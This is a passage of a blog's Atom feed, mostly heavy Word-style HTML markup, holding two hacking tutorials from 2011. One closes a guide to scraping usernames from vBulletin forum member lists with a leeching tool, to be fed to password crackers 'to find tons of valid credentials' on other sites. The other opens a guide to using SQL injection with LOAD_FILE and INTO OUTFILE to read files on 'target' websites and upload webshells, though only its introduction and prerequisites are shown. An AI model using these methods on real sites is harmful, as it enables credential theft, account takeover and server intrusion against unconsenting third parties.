tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="alt2"&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;a&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;href&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="search.php?do=finduser&amp;amp;amp;u=34580" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;rel&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="nofollow"&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;img&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;src&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="images/cstyle/blue/buttons/find.gif" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;alt&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="find.gif" &lt;/span&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="background: yellow; color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-highlight: yellow;"&gt;title&lt;/span&gt;&lt;/b&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="background: yellow; color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-highlight: yellow;"&gt;="Find all posts by&lt;/span&gt;&lt;/b&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;span style="background: lime; mso-highlight: lime;"&gt;-mk-&lt;/span&gt;&lt;span style="background: yellow; mso-highlight: yellow;"&gt;" &lt;/span&gt;&lt;/span&gt;&lt;span style="background: yellow; color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-highlight: yellow;"&gt;border&lt;/span&gt;&lt;span style="background: yellow; color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-highlight: yellow;"&gt;="0"&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; /&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;a&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="alt1"&amp;gt;&lt;/span&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;08 May 2003&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="alt2"&amp;gt;&lt;/span&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;11&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="alt1"&amp;gt;&lt;/span&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;07 Jul 2009&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="alt2"&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;img&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="inlineimg" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;src&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="images/reputation/reputation_balance.gif" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;alt&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="&lt;span style="background: lime; mso-highlight: lime;"&gt;-mk-&lt;/span&gt; is an unknown quantity at this point" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;border&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="0" /&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;You will need to determine if you need to use single parse technique or double parse. In this example, we will need to single parsing technique to work correctly. &lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;If the tags we were using appeared elsewhere in the code, we would need to use the double parsed technique to properly extract from this target due to the fact that the code appears in more than one place. The reason being, is that the HTML code and tags occur in more than place in the source code (not just around username), so we either need more unique tags (which are not available), or we do a double parse. Double parsing works by identifying a set of tags to mark in the first run, and then it looks inside of those tags and parses again using second set of tags. This way if the second sets of tags are not present then no extraction occurs. This will help us filter garbage out and focus on usernames since both conditions must be true. &lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;Trial and Error will help you to figure this out if you don’t pick it up right away, just keep playing with the tags you are using to see how it affects what is extracted as a “username”. If you cant get any success with single parsing, try double parse and secondary tags to help narrow down your results. &lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;Using the example code above we would need to parse between ‘title="Find all posts by’ and ’border="0"’. Just so you know I tried using single and double parsing to pull the first occurance of the username in the code example above but was not able to properly get things to extract correctly, so I moved lower in code and realized it also has entry for linking to each usernames posted threads. This allowed me a second chance to try things out which are working at the moment I wrote this, here is the final configuration I came up with:&lt;b style="mso-bidi-font-weight: normal;"&gt; &lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img221.imageshack.us/img221/627/16104235k.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="341" naa="true" src="http://img221.imageshack.us/img221/627/16104235k.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;You have just created your first leeching profile. Hit the “Save Site” button and you can then see your new profile in the available options list to start leeching from. Go ahead and fire it up and start testing it, if there is too much being pulled in then you may need to review the tags being used for parsing and then adjust until you can find the right one that works for your particular target. Also be aware that sites tend to make updates all the time so a profile may work one day and be worthless the next, but now that you know how to make your own so it won’t be an issue anymore. I hope you have enjoyed this brief overview on creating username lists from forums with publicly available members lists, and feel free to use this template for the Vbulletin forums if you like. I will try to do a follow up series on how to use this list in other tools like Villain, Apex, or your cracker of choice to find tons of valid credentials to various other sites. &lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;Proof it works (also see list included with download):&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img708.imageshack.us/img708/9716/42581222.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="355" naa="true" src="http://img708.imageshack.us/img708/9716/42581222.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;Rinse, wash, and repeat as needed. Until next time, Enjoy!&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;Laters,&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;H.R.&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-1674707592118642464?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/UU8m3seKHddqPjbuoPtIwjTCv-s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/UU8m3seKHddqPjbuoPtIwjTCv-s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/UU8m3seKHddqPjbuoPtIwjTCv-s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/UU8m3seKHddqPjbuoPtIwjTCv-s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/CY-Td96qPLM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/1674707592118642464/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/08/creating-targeted-username-lists-with.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/1674707592118642464?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/1674707592118642464?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/CY-Td96qPLM/creating-targeted-username-lists-with.html" title="CREATING TARGETED USERNAME LISTS WITH EPIC LEECH" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/08/creating-targeted-username-lists-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMFQnk9eip7ImA9WhdRE00.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-5863178670423708574</id><published>2011-08-02T13:06:00.000-05:00</published><updated>2011-08-02T13:06:53.762-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-02T13:06:53.762-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="LOAD FILE" /><category scheme="http://www.blogger.com/atom/ns#" term="LOAD_FILE()" /><category scheme="http://www.blogger.com/atom/ns#" term="INTO DUMPFILE" /><category scheme="http://www.blogger.com/atom/ns#" term="SQLi" /><category scheme="http://www.blogger.com/atom/ns#" term="Upload Shell via SQLi" /><category scheme="http://www.blogger.com/atom/ns#" term="INTO_DUMPFILE()" /><category scheme="http://www.blogger.com/atom/ns#" term="Database Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="INTO_OUTFILE()" /><category scheme="http://www.blogger.com/atom/ns#" term="SHELL" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="INTO OUTFILE" /><category scheme="http://www.blogger.com/atom/ns#" term="Webshell" /><title>SQL Injection: How to use LOAD FILE &amp; INTO DUMPFILE</title><content type="html">&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;I have covered several techniques on my blog on how to perform SQL injections and today I want to add another cool trick to the arsenal we have at hand. In today’s article I am going to let you in on a little secret, which is how to use INTO_OUTFILE() &amp;amp; LOAD_FILE() during your SQLi adventures to go a little deeper when machines are misconfigured and left wide open. The techniques I will cover today will help you to gain access to files on target machine as well as show you how to upload your own files&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;and code onto the target machine, all without ever stepping foot into the administration panel of the target website. Please try to keep up, here we go…&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;I will assume you have followed one of my previous tutorials from here on SQLi and found a target site that is indeed vulnerable, and now we will see if we can take things a step further this time by reading files from the target system and then testing whether or not we can upload our own files to said machine. In order to test the file access we have a few pre-requisites and then we have a few options:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;PRE-REQUISITES&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Vulnerable target site&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;We need to know the current user name&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Check other SQLi tutorials on methods for checking current user()&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;We need to know the current database&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="line-height: normal; margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 